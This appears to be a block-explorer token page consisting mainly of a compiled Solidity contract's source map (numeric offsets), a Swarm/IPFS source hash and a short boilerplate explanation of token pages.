:-;-1:-1:-1;4289:10:0::1;:17:::0;;-1:-1:-1;;4289:17:0::1;4302:4;4289:17:::0;;::::1;::::0;;;4221:115;:::o;4344:100::-;1924:6;;4410:5;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;-1:-1:-1;4435:1:0::1;1994;4344:100:::0;;;:::o;8070:346::-;-1:-1:-1;;;;;8172:19:0;;8164:68;;;;-1:-1:-1;;;8164:68:0;;4463:2:1;8164:68:0;;;4445:21:1;4502:2;4482:18;;;4475:30;4541:34;4521:18;;;4514:62;-1:-1:-1;;;4592:18:1;;;4585:34;4636:19;;8164:68:0;4261:400:1;8164:68:0;-1:-1:-1;;;;;8251:21:0;;8243:68;;;;-1:-1:-1;;;8243:68:0;;4868:2:1;8243:68:0;;;4850:21:1;4907:2;4887:18;;;4880:30;4946:34;4926:18;;;4919:62;-1:-1:-1;;;4997:18:1;;;4990:32;5039:19;;8243:68:0;4666:398:1;8243:68:0;-1:-1:-1;;;;;8324:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8376:32;;1342:25:1;;;8376:32:0;;1315:18:1;8376:32:0;;;;;;;8070:346;;;:::o;7279:606::-;-1:-1:-1;;;;;7385:20:0;;7377:70;;;;-1:-1:-1;;;7377:70:0;;5271:2:1;7377:70:0;;;5253:21:1;5310:2;5290:18;;;5283:30;5349:34;5329:18;;;5322:62;-1:-1:-1;;;5400:18:1;;;5393:35;5445:19;;7377:70:0;5069:401:1;7377:70:0;-1:-1:-1;;;;;7466:23:0;;7458:71;;;;-1:-1:-1;;;7458:71:0;;5677:2:1;7458:71:0;;;5659:21:1;5716:2;5696:18;;;5689:30;5755:34;5735:18;;;5728:62;-1:-1:-1;;;5806:18:1;;;5799:33;5849:19;;7458:71:0;5475:399:1;7458:71:0;7542:39;7563:6;7571:9;7542:20;:39::i;:::-;-1:-1:-1;;;;;7618:17:0;;7594:21;7618:17;;;:9;:17;;;;;;7654:23;;;;7646:74;;;;-1:-1:-1;;;7646:74:0;;6081:2:1;7646:74:0;;;6063:21:1;6120:2;6100:18;;;6093:30;6159:34;6139:18;;;6132:62;-1:-1:-1;;;6210:18:1;;;6203:36;6256:19;;7646:74:0;5879:402:1;7646:74:0;7761:22;7777:6;7761:13;:22;:::i;:::-;-1:-1:-1;;;;;7741:17:0;;;;;;;:9;:17;;;;;;:42;;;;7794:20;;;;;;;;:30;;7818:6;;7741:17;7794:30;;7818:6;;7794:30;:::i;:::-;;;;;;;;7859:9;-1:-1:-1;;;;;7842:35:0;7851:6;-1:-1:-1;;;;;7842:35:0;;7870:6;7842:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;7842:35:0;;;;;;;;7366:519;7279:606;;;:::o;5316:1955::-;5410:10;;;;;:40;;;5435:11;5447:1;5435:14;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;5425:24:0;;;5435:14;;5425:24;5410:40;5401:89;;;;-1:-1:-1;;;5401:89:0;;6750:2:1;5401:89:0;;;6732:21:1;6789:2;6769:18;;;6762:30;6828:34;6808:18;;;6801:62;-1:-1:-1;;;6879:18:1;;;6872:32;6921:19;;5401:89:0;6548:398:1;5401:89:0;5979:3;5973:10;5958:3;5688:1;5681:12;-1:-1:-1;;;;;;;;;;;5938:25:0;-1:-1:-1;;;;;;;;;;;5898:25:0;5888:36;;5925:39;;;5884:81;5966:18;;5880:105;5877:142;;;6012:3;6006:10;5988:29;;5877:142;6036:3;6026:9;6023:17;6020:41;;6055:3;6050:4;6043:16;6020:41;6091:5;6081:9;6078:19;6075:181;;6123:1;6100:154;6147:5;6141:12;6130:9;6127:27;6100:154;;;5714:16;5710:23;;6209:33;5688:1;5566:12;;;6243:3;5586:2;5579:13;5620:2;5607:16;;6248:3;;6192:60;6185:1;6170:17;6100:154;;;6104:22;6075:181;-1:-1:-1;;;;;;;;;;;6400:25:0;-1:-1:-1;;;;;;;;;;;6355:25:0;5688:1;5566:12;;;6330:3;5586:2;5579:13;5620:2;5607:16;;6307:28;6293:4;6287:11;6336:3;6284:19;;;6304:36;;6281:60;6342:39;;;6277:105;6390:36;;;6383:44;6273:155;6270:172;;;6431:9;6270:172;6475:8;6468:5;6462:12;6459:25;6456:270;;6619:3;5688:1;5681:12;-1:-1:-1;;;;;;;;;;;6603:25:0;6578:5;6572:12;-1:-1:-1;;;;;;;;;;;6537:25:0;6507:5;6501:12;6514:8;6498:25;6524:39;;;6494:70;6600:36;;;6593:44;6569:23;;;6565:73;6490:149;6487:166;;;6642:9;6487:166;6690:5;6684:12;6678:5;6671:26;6717:5;6711:12;6705:5;6698:26;6456:270;6884:3;5688:1;5681:12;-1:-1:-1;;;;;;;;;;;6864:25:0;-1:-1:-1;;;;;;;;;;;6816:25:0;6851:39;;;6844:47;6803:39;;;6796:47;6792:100;6754:36;;;6747:44;6743:150;6740:194;;;5573:1;5566:12;;;6923:3;5586:2;5579:13;5620:2;5607:16;;6928:3;;6896:36;6740:194;7081:3;5688:1;5681:12;-1:-1:-1;;;;;;;;;;;7065:25:0;-1:-1:-1;;;;;;;;;;;6969:25:0;6959:36;;7052:39;;;7045:47;6955:89;6948:179;;;7109:5;5785:1;5778:12;;;5819:8;;5802:16;5798:30;5791:40;;;5845:8;;5854:3;5841:17;5832:27;;7096:29;7167:8;7160:5;7154:12;7151:25;7141:64;;7193:9;7187:5;7180:23;7141:64;7219:8;7213:5;7206:22;7236:5;7229:23;-1:-1:-1;5316:1955:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;745:254;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:272::-;2620:6;2673:2;2661:9;2652:7;2648:23;2644:32;2641:52;;;2689:1;2686;2679:12;2641:52;2728:9;2715:23;2781:5;2778:1;2767:20;2760:5;2757:31;2747:59;;2802:1;2799;2792:12;2841:380;2920:1;2916:12;;;;2963;;;2984:61;;3038:4;3030:6;3026:17;3016:27;;2984:61;3091:2;3083:6;3080:14;3060:18;3057:38;3054:161;;3137:10;3132:3;3128:20;3125:1;3118:31;3172:4;3169:1;3162:15;3200:4;3197:1;3190:15;3054:161;;2841:380;;;:::o;3635:127::-;3696:10;3691:3;3687:20;3684:1;3677:31;3727:4;3724:1;3717:15;3751:4;3748:1;3741:15;3767:128;3834:9;;;3855:11;;;3852:37;;;3869:18;;:::i;3900:356::-;4102:2;4084:21;;;4121:18;;;4114:30;4180:34;4175:2;4160:18;;4153:62;4247:2;4232:18;;3900:356::o;6286:125::-;6351:9;;;6372:10;;;6369:36;;;6385:18;;:::i;6416:127::-;6477:10;6472:3;6468:20;6465:1;6458:31;6508:4;6505:1;6498:15;6532:4;6529:1;6522:15

Swarm Source

ipfs://a883b0f3eb7eff59802b913774efbc8572ad1cb204929e6ab659d03c8cd86796
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.